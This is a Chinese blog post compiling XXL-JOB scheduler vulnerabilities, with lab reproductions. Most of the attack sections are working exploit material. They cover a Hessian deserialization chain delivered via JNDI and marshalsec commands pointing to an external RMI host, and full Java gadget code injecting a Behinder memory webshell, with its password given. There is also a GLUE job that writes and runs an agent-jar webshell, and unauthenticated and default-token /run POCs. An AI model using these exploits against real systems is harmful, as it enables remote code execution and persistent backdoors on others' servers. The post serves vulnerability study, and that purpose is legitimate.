当前位置: 首页 > news >正文

XXL-JOB 漏洞大全

一、前言

在当今的数字化时代,任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务,确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台,因其强大的功能和易用性,被广泛部署在各种规模的系统中。然而,随着其应用的普及,安全研究人员开始关注这些系统可能存在的潜在风险,一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说,学习XXL-JOB的漏洞原理,能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞,以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台,设计宗旨是实现任务的快速开发、简易学习和轻量级部署,同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成,它们通过网络进行通信,实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置,而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手,它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:

  • 容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。

  • 脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。

  • 动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。

  • Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档:

分布式任务调度平台XXL-JOB

源码结构:

Plain Text
xxl-job-admin:调度中心
xxl-job-core:公共依赖
xxl-job-executor-samples:执行器Sample示例(选择合适的版本执行器,可直接使用,也可以参考其并将现有项目改造成执行器)    :xxl-job-executor-sample-springboot:Springboot版本,通过Springboot管理执行器,推荐这种方式;   :xxl-job-executor-sample-frameless:无框架版本;

这里我采用docker进行搭建,可参考:基于docker的分布式任务调度系统xxl-job搭建,注意这里我们搭建有漏洞的版本,我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下:

Bash
# 安装mysql
docker pull mysql# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456  -p 3306:3306  -v /opt:/opt mysql  --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';# 刷新权限
flush privileges;# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

搭建成功,显示如下:

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

4.2 Hessian反序列化

4.2.1 漏洞复现

 4.2.1.1 出网利用

     影响版本:XXL-JOB <= 2.0.2

    漏洞原理:/api接口存在Hessian2反序列化漏洞

    漏洞复现:

    访问/api接口存在如下报错响应,则存在漏洞。

这里测试使用的是jdk11,所以需要bypass高版本的限制,这里启动JNDI服务:

Bash
# 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit,可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

 生成恶意序列化数据:

Bash
# 工具地址:https://github.com/mbechler/marshalsec,有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

 burp发送有问题,这里使用curl发送:

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功:

4.2.1.2 不出网利用

通过jdk原生 SwingLazyValue利用链,可以达到反射调用静态方法。测试jdk1.8成功,jdk9版本开始,删除了rt.jar,下面测试注入内存马。

方式一:defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码,实现内存马注入,使用JMG工具(GitHub - pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.)生成内存马,代码参考:探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

代码需要修改的地方有:

  • bcode的值为生成的BASE64格式的内存马

  • 注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;public class hessian_demo_main {static SerializerFactory serializerFactory = new SerializerFactory();static byte[] bcode;static {try {// 修改下面bcode为实际生成的BASE64格式的内存马bcode = Base64.decode("yv66vg...AAAAAgCi");} catch (Base64DecodingException e) {throw new RuntimeException(e);}}public static void main(String[] args) throws Exception {serializerFactory.setAllowNonSerializable(true);Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);Field f = Unsafe.class.getDeclaredField("theUnsafe");f.setAccessible(true);Object unsafe = f.get(null);// 修改下面HttpClientUtil为实际生成内存马的类名Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};// 修改下面HttpClientUtil为实际生成内存马的类名SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);Object[] keyValueList = new Object[]{"abc", swingLazyValue};Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};UIDefaults uiDefaults1 = new UIDefaults(keyValueList);UIDefaults uiDefaults2 = new UIDefaults(keyValueList);UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);Hashtable<Object, Object> hashtable1 = new Hashtable<>();Hashtable<Object, Object> hashtable2 = new Hashtable<>();Hashtable<Object, Object> hashtable3 = new Hashtable<>();Hashtable<Object, Object> hashtable4 = new Hashtable<>();hashtable1.put("a", uiDefaults1);hashtable2.put("a", uiDefaults2);hashtable3.put("b", uiDefaults3);hashtable4.put("b", uiDefaults4);serObj(hashtable1, hashtable2, hashtable3, hashtable4);readObj();}static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 4);Class<?> nodeC;try {
*            nodeC = Class.forName("java.util.HashMap**$Node");} catch (ClassNotFoundException e) {nodeC = Class.forName("java.util.HashMap$*Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 4);Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));Reflections.setFieldValue(s, "table", tbl);Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(s);hessian2Output.close();}static void readObj() throws Exception {Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));hessian2Input.readObject();}
}

 再通过curl发包即可:

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二:XSLT触发defineClass加载字节码

代码参考:SwingLazyValue在WebShell下的利用 -

修改两个地方:

  • base64_payload为要注入的BASE64格式的内存马

  • class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;import static com.qt.test.hessian_demo_main.serializerFactory;public class hessian_demo_two {public static void main(String[] args) throws Exception {String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +">\n" +"    <xsl:template match=\"/\">\n" +"      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +"      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +"      <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +"      <xsl:value-of select=\"$rce\"/>\n" +"    </xsl:template>\n" +"  </xsl:stylesheet>";String base64Code = "yv66vg...AAAAAgCi";serializerFactory.setAllowNonSerializable(true);String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});Object[] keyValueList = new Object[]{"abc", value1};Object[] keyValueList1 = new Object[]{"ccc", value2};UIDefaults uiDefaults1 = new UIDefaults(keyValueList);UIDefaults uiDefaults2 = new UIDefaults(keyValueList);UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);Hashtable<Object, Object> hashtable1 = new Hashtable<>();Hashtable<Object, Object> hashtable2 = new Hashtable<>();Hashtable<Object, Object> hashtable3 = new Hashtable<>();Hashtable<Object, Object> hashtable4 = new Hashtable<>();hashtable1.put("a", uiDefaults1);hashtable2.put("a", uiDefaults2);hashtable3.put("b", uiDefaults3);hashtable4.put("b", uiDefaults4);serObj(hashtable1, hashtable2, hashtable3, hashtable4);readObj();}static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 4);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");} catch (ClassNotFoundException e) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 4);Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));Reflections.setFieldValue(s, "table", tbl);Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(s);hessian2Output.close();}static void readObj() throws Exception {Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));hessian2Input.readObject();}
}

环境:jdk1.8,这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

 

4.2.2 漏洞分析

找到触发/api路由的方法,位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest,其中readBytes(request)方法获取请求体的数据,然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程:

4.3 后台命令执行

4.3.1 漏洞复现

测试环境:2.1.2(2.0.2版本powershell脚本测试执行失败),需要启动执行器,新增一个powershell脚本任务:

添加完成后,编辑GLUE,插入要执行的命令。

点击执行一次,然后点击查询调度日志,执行命令的结果在日志中。

4.3.1.1 出网利用

一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用

考虑注入一个java agent内存马,因为没有上传点,需要写一个agent马进去,测试环境:jdk1.8,先准备好agent内存马,然后将其base64编码后分割再拼接:

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;public class Base64FileSplit {public static void main(String[] args) {File file = new File("E:\\Agent-1.0.jar");FileOutputStream fos = null;try {fos = new FileOutputStream("split_base64_output.txt");byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符int bytesRead;// 读取文件并转换为Base64字符串FileInputStream fis = new FileInputStream(file);byte[] fileContent = new byte[(int) file.length()];fis.read(fileContent);String base64String = Base64.getEncoder().encodeToString(fileContent);// 分割Base64字符串并写入到文件for (int i = 0; i < base64String.length(); i += 1000) {String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";fos.write(line.getBytes());fos.write("\n".getBytes());}System.out.println("Base64字符串已成功分割并写入到文件中.");} catch (IOException e) {e.printStackTrace();} finally {if (fos != null) {try {fos.close();} catch (IOException e) {e.printStackTrace();}}}}
}

生成拼接的字符串。

添加一个java脚本的任务,再编辑代码。

修改代码为如下:

Java
package com.xxl.job.service.handler;import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;public class DemoGlueJobHandler extends IJobHandler {@Overridepublic ReturnT<String> execute(String param) throws Exception {saveJarAndEx();return ReturnT.SUCCESS;}public static void saveJarAndEx() {StringBuilder sb = new StringBuilder();// 拼接的base64字符串sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");..........sb.append("...DQAAAA==");// Base64解码String base64String = sb.toString();byte[] decodedBytes = Base64.getDecoder().decode(base64String);// 保存agent jarFile jarFile = new File("test1.jar");try {FileOutputStream fileOutputStream = new FileOutputStream(jarFile);fileOutputStream.write(decodedBytes);fileOutputStream.close();// 执行jarProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");Process process = processBuilder.start();InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));String line;while ((line = reader.readLine()) != null) {System.out.println(line);}} catch (FileNotFoundException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);}}

执行任务,就可在控制台中看到注入成功。

冰蝎连接:

  4.3.2 漏洞分析 

执行任务的路由为:/jobinfo/trigger,对应的源码为:com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法:

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器(9999端口启动的),并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值,这里传入的是powershell,进入到如下if,初始化一个ScriptJobHandler,并放入到队列中。

接着通过任务线程执行handler:com.xxl.job.core.handler.impl.ScriptJobHandler#execute,在execute方法中,会将要执行的powershell脚本内容保存到一个后缀psl的文件中,并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如:shell,java同理,根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行 

4.4.1 漏洞复现

影响版本:XXL-JOB <= 2.2.0

漏洞原理:/run接口触发执行器执行脚本,acessToken为空绕过鉴权。

漏洞复现:

Executor默认是监听在9999端口,和后台执行任务导致的命令执行一样,只不过这里直接未授权请求Executor去触发脚本执行,测试版本:2.2.0,通过powershell执行。

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析

在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken,由于在 <= 2.2.0时,accessToken值默认为空,所以accessToken.trim().length() > 0为false,即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现

影响版本:XXL-JOB <= 2.4.0

漏洞原理:用于调度通讯的 accessToken 为默认值default_token。

漏洞复现:

添加请求头,直接通过/run接口触发命令执行:

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.5.2 漏洞分析

token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值,和配置文件的默认accessToken 值default_token进行对比。

4.6 后台SSRF

4.6.1 漏洞复现

影响版本:XXL-JOB <= 2.3.1

漏洞原理:查看执行日志/joblog/logDetailCat接口时,会携带accessToken向执行器地址发送请求,可以通过低权限用户发送日志查看的数据包,获取accessToken,再利用accessToken去触发/run接口的命令执行。

漏洞复现:

修改executorAddress:

通过nc监听请求包,可在请求头中获取accessToken。

4.6.2 漏洞分析

在获取执行器的代码com.xxl.job.admin.core.scheduler.XxlJobScheduler#getExecutorBiz方法中,会将传入的address和配置文件中的accessToken实例化返回executorBiz,供后续发起请求。

在2.4.0版本中直接获取执行器的地址,无法利用。

参考

探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

SwingLazyValue在WebShell下的利用 -

基于docker的分布式任务调度系统xxl-job搭建_xxl-job docker-CSDN博客

相关文章:

XXL-JOB 漏洞大全

一、前言 在当今的数字化时代&#xff0c;任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务&#xff0c;确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台&#xff0c;因其强大的功能和易用性&#xff0c;被广泛部署…...

使用 Visual Studio Code 配置 C/C++ 开发环境

Visual Studio Code&#xff08;简称 VSCode&#xff09;是一款非常流行的代码编辑器&#xff0c;提供了丰富的扩展和配置支持&#xff0c;使其成为进行 C/C 开发的一款理想工具。本文将详细介绍如何在 VSCode 中配置 C/C 开发环境&#xff0c;涵盖安装必要的工具和插件、编写简…...

STM32与ESP8266的使用

串口透传 “透传”通常指的是数据的透明传输&#xff0c;意思是在不对数据进行任何处理或修改的情况下&#xff0c;将数据从一个接口转发到另一个接口。值得注意的是要避免串口之间无限制的透明&#xff0c;可以采用互斥锁的方式进行限制使用方法 对USART1和USART3(用他俩举例…...

【计算机网络】数据链路层深度解析

概述三个重要问题封装成帧差错检测可靠传输 使用广播信道的数据链路层数据链路层的互连设备 媒体接入MAC地址集线器与交换机区别以太网交换机生成树协议STP 概述 链路就是从一个结点到相邻结点的一段物理线路&#xff0c;而中间没有任何其他的交换结点。数据链路是指把实现通信…...

【基于轻量型架构的WEB开发】【章节作业】

作业1 mybatis核心对象、配置文件和映射文件 一. 单选题&#xff08;共10题&#xff0c;50分&#xff09; 1. (单选题)以下关于<select>元素及其属性说法错误的是()。 A. <select>元素用来映射查询语句,它可以帮助我们从数据库中读取出数据,并组装数据给业务开发…...

一张图解析FastAdmin中的表格列表(bootstrap-table)的功能(备份)

功能描述 请根据图片上的数字索引查看对应功能说明。 1.菜单名称和描述 默认生成的CRUD是没有菜单名称和描述显示的&#xff0c;如果需要显示则可以修改权限管理->菜单规则&#xff0c;给对应菜单的添加上备注信息后即可显示&#xff0c;支持HTML 2.TAB过滤选项卡 在一键…...

【数据结构】假设二叉树采用二叉链表存储,编写一棵二又树中序遍历的非递归算法。

编程题: 假设二叉树采用二叉链表存储,编写一棵二又树中序遍历的非递归算法。 分析: 算法描述: 非递归中序遍历二叉树的算法使用栈来辅助实现。首先,从根节点开始,沿着左子树不断向下, 将每个节点压入栈中。当到达最左端节点后,开始出栈并访问节点,接着转向右子树,重…...

李宏毅结构化学习 02

文章目录 一、上篇博文复习二、Separable Case三、Non-separable Case四、Considering Errors五、Regularization六、Structured SVM七、Cutting Plane Algorithm for Structured SVM八、Multi-class and binary SVM九、Beyond Structured SVM 一、上篇博文复习 图中x表示输入的…...

Android AlertDialog圆角背景不生效的问题

一行解决: window?.setBackgroundDrawableResource(android.R.color.transparent) 原文件: /*** Created by Xinghai.Zhao* 自定义选择弹框*/ SuppressLint("InflateParams", "MissingInflatedId") class CustomDialog(context: Context?) : AlertDia…...

探讨基于AI技术的相亲交友系统设计与实现

摘要 随着人工智能技术的发展&#xff0c;相亲交友领域也开始引入AI技术来改善用户体验&#xff0c;提高匹配成功率。本文探讨了如何利用AI技术设计并实现一个智能化的相亲交友系统&#xff0c;该系统能够根据用户的行为数据和个人偏好&#xff0c;自动推荐合适的潜在伴侣。通…...

(2024.9.20)Endnote插入的参考文献字号太大怎么办?

1、序言 常常写论文的人都知道&#xff0c;插入参考文献时&#xff0c;格式调整到让人头大。Endnote的使用大大方便了我们的同时&#xff0c;也意味着我们要学习软件的使用方法。最近重新安装了一下Endnote&#xff0c;插入的文献字体大小就像抽风了一样。在还没有写完文章之前…...

DataGrip在Windows和MacOS平台上的快捷键

0. 背景信息 No.说明1测试DataGrip版本号 : 2024.2.2 1. Windows下快捷键 2. MacOS下快捷键...

CSS---序号使用css设置,counter-reset、counter-increment、content配合实现备注文案的序号展示

直接上代码&#xff0c;全代码copy即可使用! <template><div class"reminder"><span class"Bold_12_body" style"line-height: 8vw">温馨提示&#xff1a;</span><br /><div class"rule-container"…...

Liquor 表达式引擎基本使用

引入依赖 <dependency><groupId>org.noear</groupId><artifactId>liquor-eval</artifactId><version>1.2.7</version> </dependency>liquor 表达式引擎&#xff08;ExpressionEvaluator&#xff09;支持 java 所有的类型、及…...

AI美女屠版小红书火了,被当真人推流,颜值博主慌了

最近&#xff0c;微信群里有一条炸裂的聊天记录&#xff0c;传得沸沸扬扬。 聊天记录原主声称&#xff0c;自己通过flux文生图模型跑出AI美女照片&#xff0c;发在小红书上不仅没有被平台标为AI&#xff0c;还成功获得流量扶持。 随后&#xff0c;原主就附上了自己养的1327个小…...

本地搭建我的世界服务器(JAVA)简单记录

网上参考教程挺多的&#xff0c;踩了不少坑&#xff0c;简单记录一下&#xff0c;我做的是一个私人服务器&#xff0c;就是和朋友3、4个人玩。 笨蛋 MC 开服教程 先放一个比较系统和完整的教程&#xff0c;萌新可用&#xff0c;这个教程很详细&#xff0c;我只是记录一下自己的…...

哪个快?用300万个图斑测试ArcGIS Pro的成对叠加与经典叠加

​​​ 点击下方全系列课程学习 点击学习—>ArcGIS全系列实战视频教程——9个单一课程组合系列直播回放 点击学习——>遥感影像综合处理4大遥感软件ArcGISENVIErdaseCognition 在使用ArcGIS Pro的过程中&#xff0c;很多朋友发现&#xff0c;Pro有个成对叠加工具集。很多…...

超详细!百分百安装成功pytorch,建议收藏

文章目录 一、Anaconda安装1.1下载anaconda1.2配置Anaconda环境1.3验证anaconda是否安装成功 二、查看电脑显卡三、更新显卡驱动3.1下载驱动3.2、查看显卡驱动版本 四、cuda安装4.1CUDA下载4.2CUDA环境配置4.3验证CUDA是否安装成功 五、安装pytorch4.1下载pytorch5.2验证pytorc…...

web基础—dvwa靶场(四)​File Inclusion

File Inclusion(文件包含) 有些 web 应用程序允许用户指定直接文件流的输入&#xff0c;或允许用户将文件上载到服务器。稍后 web 应用程序访问 web 应用程序上下文中用户提供的输入。通过这样种操作&#xff0c;web 应用程序允许恶意文件执行。 如果选择要包含的文件是目标计…...

【Python】练习:控制语句(二)第1关

第1关&#xff1a;分支结构基础实训 第一题第二题第三题第四题&#xff08;※&#xff09;第五题&#xff08;※&#xff09;第六题第七题 第一题 #第一题 for temp in [-280, -100, 0, 20, 120, 200]:#请在下面编写代码# ********** Begin ********** #if temp>-273.15:F9/…...

Vue3 : Pinia的性质与作用

目录 一.性质 二.作用 三.Pinia 的核心概念 四.使用 1.count.ts 2.count.vue Vue 3 中 Pinia 是一个专为 Vue 3 设计的状态管理库&#xff0c;它旨在提供一种简单、直观的方式来管理应用的状态。 一.性质 1.集成性&#xff1a;Pinia 是 Vue 3 官方推荐的状态管理库&…...

对接金蝶云星空调用即时库存信息查询API

文章目录 前言准备工作获取第三方授权权限与授权配置信息集成金蝶云SDK调用实现备注前言 对于有自己商品信息管理后台并且使用金蝶ERP系统管理物料的商家来说,将金蝶上物料的库存信息同步到管理后台就可以不用去金蝶上确认库存了,可以大大简化管理后台的库存变更工作,这篇文…...

pretrain Llama3

导入模块&#xff1a;导入了一些必要的模块&#xff0c;包括数学计算、时间处理、文件操作、深度学习框架&#xff08;如torch&#xff09;、以及自定义的LLama Transformer模型相关内容。 I/O配置&#xff1a;定义了模型输出路径、评估与日志记录的间隔步数、批次大小、最大序…...

[附源码]SpringBoot+VUE+Java实现人脸识别系统

今天带来一款优秀的项目&#xff1a;java人脸识别系统源码 。 系统采用的流行的前后端分离结构&#xff0c;内含功能包括 “人脸数数据录入”&#xff0c;“人脸管理”&#xff0c;“摄像头识别” 如果您有任何问题&#xff0c;也请联系小编&#xff0c;小编是经验丰富的程序员…...

数据库_解决SQL Server数据库log日志过大,清理日志文件方法

SQL Server数据库日志文件过大的原因主要有几个方面&#xff1a; 事务日志记录了所有对数据库进行修改的操作&#xff0c;如插入、更新和删除&#xff0c;这些操作会不断增加日志文件的大小。 长时间运行且未正确结束的事务会持续占用事务日志中的空间&#xff0c;导致日志文…...

引领长期投资新篇章:价值增长与财务安全的双重保障

随着全球金融市场的不断演变&#xff0c;长期投资策略因其稳健性和对价值增长的显著推动作用而日益受到投资者的重视。在这一背景下&#xff0c;Zeal Digital Shares&#xff08;ZDS&#xff09;项目以其创新的数字股票产品&#xff0c;为全球投资者提供了一个全新的长期投资平…...

灾备技术演进之路 | 虚拟化无代理备份只能挂载验证和容灾吗?只能无代理恢复吗?且看科力锐升级方案

灾备技术演进之路系列 虚拟化备份技术演进 摆脱束缚&#xff0c;加速前行 无代理备份仅能挂载/恢复验证吗&#xff1f; ——科力锐极简验证演练无代理备份来了 无代理备份无法应对平台级故障吗&#xff1f; ——科力锐应急接管无代理备份来了 无代理备份仅能同平台挂载吗&a…...

PowerShell install 一键部署Oracle23ai

Oracle23ai前言 Oracle Database 23ai Free 让您可以充分体验 Oracle Database 的能力,世界各地的企业都依赖它来处理关键任务工作负载。 Oracle Database Free 的资源限制为 2 个 CPU(前台进程)、2 GB 的 RAM 和 12 GB 的磁盘用户数据。该软件包不仅易于使用,还可轻松下载…...

【Kubernetes】常见面试题汇总(二十五)

目录 73.我们所有人都知道&#xff0c;从单片到微服务的转变解决了开发方面的问题&#xff0c;但却增加了部署方面的问题。公司如何解决部署方面的问题&#xff1f; 74.考虑一家拼车公司希望通过同时扩展其平台来增加服务器数量,公司如何有效地实现这种资源分配&#xff1f; …...

【踩坑】装了显卡,如何让显示器从主板和显卡HDMI都输出

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你&#xff0c;欢迎[点赞、收藏、关注]哦~ 背景介绍 装了显卡后&#xff0c;开机默认是从显卡的HDMI输出&#xff0c;但这很不方便。如何让视频仍然从主板输出&#xff1f;或者说让显卡HDMI和主板…...